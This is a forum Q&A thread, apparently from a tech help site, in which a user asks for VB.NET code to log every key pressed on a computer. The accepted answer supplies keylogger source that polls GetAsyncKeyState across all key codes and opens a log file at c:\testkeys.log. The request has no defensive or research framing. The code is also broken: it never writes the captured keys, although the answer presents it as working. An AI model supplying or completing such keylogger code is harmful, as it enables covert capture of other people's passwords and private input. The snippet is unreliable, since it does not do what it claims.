Keyboard Log

Posted on 2006-05-30
Last Modified: 2012-05-05
i want a windows service/offline application to Log(into text file) all Keys pressed from that computer. How i can acheive this in VB.NET?
source code will be helpfull...
Question by:Mamtha1982
    1 Comment
    LVL 4

    Accepted Solution

    I'm sorry I don't have time to go into this, but this is a *very basic* keylogger:
    It will make a c:\testkeys.log with all logged keys; thing is, this will also log all other keys and I *think* it also logs mouseclicks.

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Dim result As Integer
            Dim i As Integer

            For i = 1 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If result = -32767 Then
                    Dim lw As IO.TextWriter
                    lw = New IO.StreamWriter("c:\testkeys.log", True)
                End If
            Next i
        End Sub

    It's not as nice as it should be, but it should help you on your way alot !
    If you need more help, feel free to ask; I'll be back later and other experts will certainly be able to help you out aswell !


    Featured Post

    Do You Know the 4 Main Threat Actor Types?

    Do you know the main threat actor types? Most attackers fall into one of four categories, each with their own favored tactics, techniques, and procedures.

    Join & Write a Comment

    Introduction As chip makers focus on adding processor cores over increasing clock speed, developers need to utilize the features of modern CPUs.  One of the ways we can do this is by implementing parallel algorithms in our software.   One recent…
    Parsing a CSV file is a task that we are confronted with regularly, and although there are a vast number of means to do this, as a newbie, the field can be confusing and the tools can seem complex. A simple solution to parsing a customized CSV fi…
    how to add IIS SMTP to handle application/Scanner relays into office 365.
    In this tutorial you'll learn about bandwidth monitoring with flows and packet sniffing with our network monitoring solution PRTG Network Monitor ( If you're interested in additional methods for monitoring bandwidt…

    730 members asked questions and received personalized solutions in the past 7 days.

    Join the community of 500,000 technology professionals and ask your questions.

    Join & Ask a Question

    Need Help in Real-Time?

    Connect with top rated Experts

    15 Experts available now in Live!

    Get 1:1 Help Now